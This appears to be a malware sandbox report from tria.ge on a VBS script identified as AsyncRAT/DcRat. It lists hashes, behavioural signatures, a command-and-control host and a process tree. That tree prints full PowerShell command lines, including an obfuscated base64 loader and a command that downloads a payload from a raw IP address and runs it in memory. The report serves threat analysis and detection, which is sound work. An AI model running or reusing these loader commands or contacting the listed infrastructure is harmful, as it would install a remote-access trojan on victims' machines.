Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

5b30c27eac...12.vbs

windows7-x64

10

5b30c27eac...12.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/10/2024, 01:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    5b30c27eaca00c51aa594df7273f8e24d84d08a6c085147697e21b082e3e7812.vbs

  • Size

    1.9MB

  • MD5

    640864bd8dcc33f7191cea6e8794a386

  • SHA1

    6b651ed9e576d72b6c53e975e555572701fe2681

  • SHA256

    5b30c27eaca00c51aa594df7273f8e24d84d08a6c085147697e21b082e3e7812

  • SHA512

    ac0b98a599ae60043b4d652d7f2826f26918ae6eb2f99f2dec7c14b34d74bea25264da0962eef619e1c72f67d181c4a1c1d52a71a5d7e734869a18300805cc11

  • SSDEEP

    3072:BiiiiiiiiiiiiiiiiiiiiUiiiiiiiiiiiiiiiiiiiihiiiiiiiiiiiiiiiiiiiij:8

Score
10/10
asyncratdefaultdiscoveryexecutionrat

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

dczas.duckdns.org:4455

Mutex

DcRatMutex_qwqdanchun

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5b30c27eaca00c51aa594df7273f8e24d84d08a6c085147697e21b082e3e7812.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J▒Bx▒Gs▒dgB3▒HI▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒Gk▒YQBx▒HU▒Yw▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒Hk▒dwBq▒GQ▒a▒▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒Og▒v▒C8▒OQ▒x▒C4▒Mg▒w▒DI▒Lg▒y▒DM▒Mw▒u▒DE▒Ng▒5▒C8▒V▒Bh▒Gs▒LwBS▒GU▒Zw▒v▒E0▒YQBy▒Ho▒LwBE▒FI▒Rw▒v▒FI▒V▒BD▒C8▒Rg▒z▒GQ▒b▒Bs▒C4▒d▒B4▒HQ▒Jw▒p▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒Hk▒dwBq▒GQ▒a▒▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒QwBs▒GE▒cwBz▒Ew▒aQBi▒HI▒YQBy▒Hk▒MQ▒u▒EM▒b▒Bh▒HM▒cw▒x▒Cc▒KQ▒u▒Ec▒ZQB0▒E0▒ZQB0▒Gg▒bwBk▒Cg▒JwBa▒Hg▒SwBI▒Ec▒Jw▒p▒C4▒SQBu▒HY▒bwBr▒GU▒K▒▒k▒G4▒dQBs▒Gw▒L▒▒g▒Fs▒bwBi▒Go▒ZQBj▒HQ▒WwBd▒F0▒I▒▒o▒Cc▒d▒B4▒HQ▒Lg▒x▒Eo▒R▒▒v▒FM▒VgBO▒EU▒LwB6▒HI▒YQBN▒C8▒ZwBl▒FI▒LwBr▒GE▒V▒▒v▒Dk▒Ng▒x▒C4▒Mw▒z▒DI▒Lg▒y▒D▒▒Mg▒u▒DE▒OQ▒v▒C8▒OgBw▒HQ▒d▒Bo▒Cc▒I▒▒s▒C▒▒J▒Bp▒GE▒cQB1▒GM▒I▒▒s▒C▒▒JwBS▒Gc▒dgB1▒Ec▒Jw▒s▒C▒▒J▒Bx▒Gs▒dgB3▒HI▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\5b30c27eaca00c51aa594df7273f8e24d84d08a6c085147697e21b082e3e7812.vbs');powershell $KByHL;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4928
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\Admin\AppData\Local\Temp\5b30c27eaca00c51aa594df7273f8e24d84d08a6c085147697e21b082e3e7812.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3364
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:512

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    64B

    MD5

    3ca1082427d7b2cd417d7c0b7fd95e4e

    SHA1

    b0482ff5b58ffff4f5242d77330b064190f269d3

    SHA256

    31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

    SHA512

    bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ekpnkgho.55s.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/512-24-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

    Download

  • memory/3364-22-0x000002C190290000-0x000002C190298000-memory.dmp

    Filesize

    32KB

    Download

  • memory/3364-23-0x000002C1A86F0000-0x000002C1A86FA000-memory.dmp

    Filesize

    40KB

    Download

  • memory/4928-0-0x00007FFDDFB43000-0x00007FFDDFB45000-memory.dmp

    Filesize

    8KB

    Download

  • memory/4928-6-0x000002B2F2ED0000-0x000002B2F2EF2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4928-11-0x00007FFDDFB40000-0x00007FFDE0601000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4928-12-0x00007FFDDFB40000-0x00007FFDE0601000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4928-30-0x00007FFDDFB40000-0x00007FFDE0601000-memory.dmp

    Filesize

    10.8MB

    Download